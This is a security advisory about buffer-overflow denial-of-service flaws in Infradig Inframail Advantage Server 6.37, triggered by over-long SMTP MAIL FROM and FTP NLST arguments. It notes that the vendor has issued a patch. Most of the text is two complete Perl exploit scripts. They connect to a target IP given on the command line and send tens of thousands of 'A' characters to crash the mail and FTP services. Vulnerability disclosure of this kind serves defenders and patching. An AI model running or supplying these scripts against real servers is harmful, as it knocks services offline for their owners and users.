[NEWS] Infradig Systems Inframail Advantage Server Multiple DoS

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  Infradig Systems Inframail Advantage Server Multiple DoS
------------------------------------------------------------------------


SUMMARY

 <http://www.infradig.com/> Infradig servers are "servers that support 
SMTP, POP, IMAP, NNTP (NEWS), FTP, HTTP, WEBMAIL, WEBDAV, WAPMAIL, SIP, 
mailing-lists, calendars and document sharing".

Lack of proper command filtering allows attackers to send a long string as 
a command which in turn will cause a buffer overflow that will in turn 
crash the Infradig server.

DETAILS

Vulnerable Systems:
 * Infradig Systems Advantage Server Edition version 6.37

Immune Systems:
 * Infradig Systems Advantage Server Edition version 7.2

The commands SMTP MAIL FROM: and FTP NLST vulnerable for buffer overflow. 
Issuing the character 'A' 40960 times as an argument to MAIL FROM: command 
will cause the ifmail.exe process to die and re-launch.

Issuing the character 'A' roughly 102400 times to the NLST command and 
then issuing the character 'A' roughly 102400 times to the NLST command 
again will cause all processes running under the ifmailsvc.exe process to 
die and re-launch (these processes include slapd.exe, slurpd.exe, 
ifmail.exe, ifweb.exe and otheres).

Vendor Status:
The vendor has released a patch for Infradig Systems Advantage Server 
Edition.

Exploit:
Inframail_SMTPOverflow.pl
#===== Start Inframail_SMTPOverflow.pl =====
#
# Usage: Inframail_SMTPOverflow.pl <ip>
#    Inframail_SMTPOverflow.pl 127.0.0.1
#
# Infradig Systems Inframail Advantage Server Edition 6.0
# (Version: 6.37)
#
# Download:
# http://www.infradig.com/
#
##############################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "25",
                                    Proto  => "TCP"))
{
        print "Attempting to kill Inframail SMTP server at 
$ARGV[0]:25...";

        sleep(1);

        print $socket "HELO moto.com\r\n";

        sleep(1);

        print $socket "MAIL FROM:" . "A" x 40960 . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:25\n";
}

# EOF

Inframail_FTPOverflow.pl
#
# Usage: Inframail_FTPOverflow.pl <ip>
#    Inframail_FTPOverflow.pl 127.0.0.1
#
# Infradig Systems Inframail Advantage Server Edition 6.0
# (Version: 6.37)
#
# Download:
# http://www.infradig.com/
#
##############################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "21",
                                    Proto  => "TCP"))
{
        print "Attempting to kill Inframail FTP server at $ARGV[0]:21...";

        sleep(1);

        print $socket "USER hello\r\n";

        sleep(1);

        print $socket "PASS moto\r\n";

        sleep(1);

        print $socket "NLST " . "A" x 102400 . "\r\n";

        sleep(1);

        print $socket "NLST " . "A" x 102400 . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:21\n";
}

#EOF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Reed 
Arvin.



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